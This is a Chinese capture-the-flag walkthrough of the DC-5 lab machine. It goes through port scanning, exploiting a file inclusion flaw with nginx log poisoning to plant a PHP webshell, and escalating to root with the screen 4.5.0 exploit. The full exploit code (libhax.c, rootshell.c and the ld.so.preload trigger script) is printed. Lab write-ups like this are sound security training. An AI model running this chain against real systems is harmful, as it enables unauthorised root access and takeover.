南城夕雾
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
先扫C段用于发现靶机IP
nmap 192.168.26.0/24
发现靶机ip是192.168.26.133
nmap -sS -sV -T4 -A -p- 192.168.26.133
使用nmap扫描其端口和服务,先访问80端口,没发现网页有什么问题,然后使用dirsearch扫目录,再对thankyou.php和footer.php访问后发现了问题,对thankyou.php和footer.php的每一次请求copyright后面跟的年份都会改变,并且footer.php显示的内容是thankyou.php底部显示的内容,于是想到可能有文件包含漏洞。
尝试进行文件包含
发现可以成功读取到 /etc/passwd文件,存在文件包含漏洞
因为靶机服务扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf,所以将nginx的配置文件包含过来查看日志路径,经过仔细查看发现了nginx的日志路径
于是我们尝试包含日志文件,然后我们可以看到,日志文件会记录我们传入的参数,所以我们可以把php一句话当参数传给日志文件,然后再次尝试包含日志文件,即可使用webshell管理工具,蚁剑连接即可获得shell
使用以下这条命令,发现有suid权限的命令和程序
find / -user root -perm -4000 -print 2>/dev/null
发现一个screen-4.5.0
然后搜索一下 screen-4.5.0的漏洞
searchsploit screen 4.5.0
然后访问这个41154.sh这个文件
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
然后我们开始按照该文件中给的方法提权。
注意:我这里编辑文件和编译文件时的目录不受限,后面上传到靶机时才需要限制在靶机/tmp/目录下,我这里为了方便复制命令所以选择了和参考文件相同的目录来编辑和编译文件
查看文件可以知道,脚本文件需要分3个步骤完成
第一步:将第一部分的C代码写入到libhax.c文件中,在执行相应的命令生成libhax.so文件,然后删除libhax.c文件
cd /tmp #先来到tmp目录下
touch libhax.c #新建一个空文件
vim libhax.c #编辑这个文件将下面的代码输入进去
libhax.c文件内容如下:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
第二步,将第二部分的C语言代码写入rootshell文件中,并编译成rooshell文件,然后删除rootshell.c文件
touch rootshell.c #新建一个空文件
vim rootshell.c #编辑这个文件将下面的代码输入进去
rootshell.c文件内容如下:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
第三步:将剩下部分的脚本代码写入到dc5.sh文件中,在开头加上#!/bin/bash
注明执行环境,保存需要输入为set ff=unix
,是为了防止脚本的格式错误
touch dc5.sh #新建一个空文件
vim dc5.sh #编辑这个文件将下面的代码输入进去
第三个文件内容如下:
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
处理好三个文件后用蚁剑传到靶机的/tmp目录下
然后使用蚁剑反弹给kali的shell继续执行下一步的操作
cd /tmp #来到靶机的tmp目录下
chmod +x dc5.sh
./dc5.sh
chmod +x rootshell
./rootshell
我们可以看到提权成功,获取到了最终的flag。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
